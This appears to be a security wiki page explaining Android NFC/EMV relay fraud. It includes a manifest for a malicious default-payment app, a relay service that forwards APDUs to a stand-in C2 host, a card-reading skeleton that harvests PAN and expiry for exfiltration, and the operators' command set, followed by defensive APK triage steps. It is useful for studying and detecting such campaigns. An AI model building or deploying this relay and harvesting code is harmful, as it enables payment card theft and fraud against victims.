// HackTricks · Mobile

Android HCE NFC/EMV Relay Attacks

Android HCE NFC/EMV Relay Attacks

Overview

Abuse of Android Host Card Emulation (HCE) allows a malicious app set as the default NFC payment service to relay EMV contactless transactions in real-time. The POS terminal talks ISO 14443-4/EMV to the phone; the app’s HostApduService receives APDUs and forwards them over a bidirectional C2 (often WebSocket) to a backend that crafts responses, which are relayed back to the POS. This enables live card emulation without local card data. Campaigns observed at scale rebrand as banks/government apps, prompt to become the default payment app, and auto-exfiltrate device/card data to Telegram bots/channels.[1]

Key traits

  • Android components: HostApduService + default NFC payment handler (category “payment”)[1][2]
  • Transport/C2: WebSocket for APDU relay; Telegram bot API for exfil/ops
  • Operator workflow: structured commands (login, register_device, apdu_command/apdu_response, get_pin/pin_response, paired, check_status, update_required, telegram_notification, error)
  • Roles: scanner (read EMV data) vs tapper (HCE/relay) builds

Minimal implementation building blocks

Manifest (become default payment HCE service)

<uses-feature android:name="android.hardware.nfc.hce" android:required="true"/>
<uses-permission android:name="android.permission.NFC"/>

<application ...>
  <service
      android:name=".EmvRelayService"
      android:exported="true"
      android:permission="android.permission.BIND_NFC_SERVICE">
    <intent-filter>
      <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
    </intent-filter>
    <meta-data
      android:name="android.nfc.cardemulation.host_apdu_service"
      android:resource="@xml/aid_list"/>
  </service>
</application>

Example AID list with EMV payment category (only apps set as default payment can answer these AIDs):[3]

<?xml version="1.0" encoding="utf-8"?>
<host-apdu-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:description="@string/app_name"
    android:requireDeviceUnlock="false">
  <aid-group android:category="payment" android:description="@string/app_name">
    <!-- PPSE (2PAY.SYS.DDF01) routing -->
    <aid-filter android:name="325041592E5359532E4444463031"/>
    <!-- Common EMV AIDs (examples): -->
    <aid-filter android:name="A0000000031010"/> <!-- VISA credit/debit -->
    <aid-filter android:name="A0000000041010"/> <!-- MasterCard -->
    <aid-filter android:name="A00000002501"/>   <!-- AmEx -->
  </aid-group>
</host-apdu-service>

Prompt user to set default payment app (opens OS settings):

val intent = Intent("android.settings.NFC_PAYMENT_SETTINGS")
startActivity(intent)

HostApduService relay skeleton

class EmvRelayService : HostApduService() {
  private var ws: okhttp3.WebSocket? = null

  override fun onCreate() {
    super.onCreate()
    // Establish C2 WebSocket early; authenticate and register device
    val client = okhttp3.OkHttpClient()
    val req = okhttp3.Request.Builder().url("wss://c2.example/ws").build()
    ws = client.newWebSocket(req, object : okhttp3.WebSocketListener() {})
  }

  override fun processCommandApdu(commandApdu: ByteArray?, extras: Bundle?): ByteArray {
    // Marshal APDU to C2 and block until response
    val id = System.nanoTime()
    val msg = mapOf(
      "type" to "apdu_command",
      "id" to id,
      "data" to commandApdu!!.toHex()
    )
    val response = sendAndAwait(msg) // wait for matching apdu_response{id}
    return response.hexToBytes()
  }

  override fun onDeactivated(reason: Int) {
    ws?.send("{\"type\":\"card_removed\"}")
  }

  private fun sendAndAwait(m: Any): String {
    // Implement correlation + timeout; handle error/blocked status
    // ...
    return "9000" // fall back to SW success if needed
  }
}

Utility note: Background service must respond within the POS timeout budget (~few hundred ms) per APDU; maintain a low-latency socket and pre-auth with the C2. Persist across process death using a foreground service as needed.

Typical C2 command set (observed)

login / login_response
register / register_device / register_response
logout
apdu_command / apdu_response
card_info / clear_card_info / card_removed
get_pin / pin_response
check_status / status_response
paired / unpaired
update_required
telegram_notification / telegram_response
error

EMV contactless exchange (primer)

The POS drives the flow; the HCE app simply relays APDUs:

  • SELECT PPSE (2PAY.SYS.DDF01)
    • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00
  • SELECT application AID (e.g., VISA A0000000031010)
    • 00 A4 04 00 len 00
  • GET PROCESSING OPTIONS (GPO)
    • 80 A8 00 00 Lc 00
  • READ RECORD(S) per AFL
    • 00 B2 <SFI/record> 0C 00
  • GENERATE AC (ARQC/TC)
    • 80 AE 80 00 Lc 00

In a relay, the backend crafts valid FCI/FCP, AFL, records and a cryptogram; the phone only forwards bytes.

Victim-side card harvesting with IsoDep + PPSE

A complementary role is the reader/scanner build running on the victim phone. Instead of emulating a card to the POS, it waits for the victim to place a real payment card near the device, then talks directly to the card over ISO-DEP using Android’s NfcAdapter.ReaderCallback + android.nfc.tech.IsoDep APIs. This is not HCE: the phone is acting as a reader for a contactless EMV card.[6]

Typical workflow:

  1. onTagDiscovered(Tag) obtains an IsoDep handle with IsoDep.get(tag).[5]
  2. The app calls connect() and often increases the APDU timeout with setTimeout(120000) to survive slow user interaction or backend waits.[4]
  3. It sends SELECT PPSE (2PAY.SYS.DDF01) to enumerate payment applications exposed by the card.
  4. It parses returned TLV/EMV data to recover values such as PAN/card number, expiry, application label, and candidate AIDs.
  5. The harvested data is serialized and immediately exfiltrated, commonly over the same WebSocket/C2 channel later used by the HCE relay side.

Minimal reader-mode skeleton:[6]

class VictimReader : NfcAdapter.ReaderCallback {
  override fun onTagDiscovered(tag: Tag) {
    val iso = IsoDep.get(tag) ?: return
    iso.connect()
    iso.setTimeout(120000)

    val ppse = hexToBytes("00A404000E325041592E5359532E444446303100")
    val fci = iso.transceive(ppse)
    // Parse TLV/FCI: label, AIDs, PAN/expiry from subsequent EMV records
    exfiltrate(fci)
  }
}

Practical notes:

  • 00 A4 04 00 0E 32 50 41 59 2E 53 59 53 2E 44 44 46 30 31 00 = SELECT 2PAY.SYS.DDF01
  • Reader-mode malware often combines this with a local WebView (file:///android_asset/...) that fakes a card verification flow while native code performs NFC reads in the background.[6]
  • The PIN is usually not read from NFC. It is socially engineered in the fake UI and then merged into the exfiltrated card record.[6]

Analyst notes for hostile APK packaging

Recent Android NFC fraud samples also use malformed ZIP/APK paths (for example fake absolute paths rooted under /AndroidManifest.xml/, /classes.dex/, or /resources.arsc/) to break brittle extraction and scoring pipelines. If jadx, apktool, or a custom unzip step fails early, treat that as a suspicious anti-analysis signal instead of benign corruption.[6]

Quick triage workflow:

unzip -l sample.apk
zipinfo -v sample.apk
jadx sample.apk -d out-jadx
apktool d sample.apk -o out-apktool

If tools disagree about the file list, ZIP offsets, or AndroidManifest.xml decoding, rebuild a normalized sample before deeper reversing. Tools such as apkInspector are useful here because they inspect ZIP structure and still extract manifest-level artifacts from hostile APK containers.[7]

Operator workflows seen in the wild

  • Deception + install: app re-skins as bank/gov portal, presents full-screen WebView and immediately requests to become default NFC payment app.[1][6]
  • Event-triggered activation: NFC tap wakes HostApduService; the relay begins.[1]
  • Scanner/Tapper roles: one build reads EMV data from a victim card (PAN, exp, tracks, device/EMV fields) and exfiltrates; another build (or the same device later) performs HCE relay to a POS.[1][6]
  • Exfiltration: device/card data is auto-posted to private Telegram channels/bots; WebSocket coordinates sessions and UI prompts (e.g., on-device PIN UI). The linked IOC repository provides campaign artifacts for defenders.[1][6][8]

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.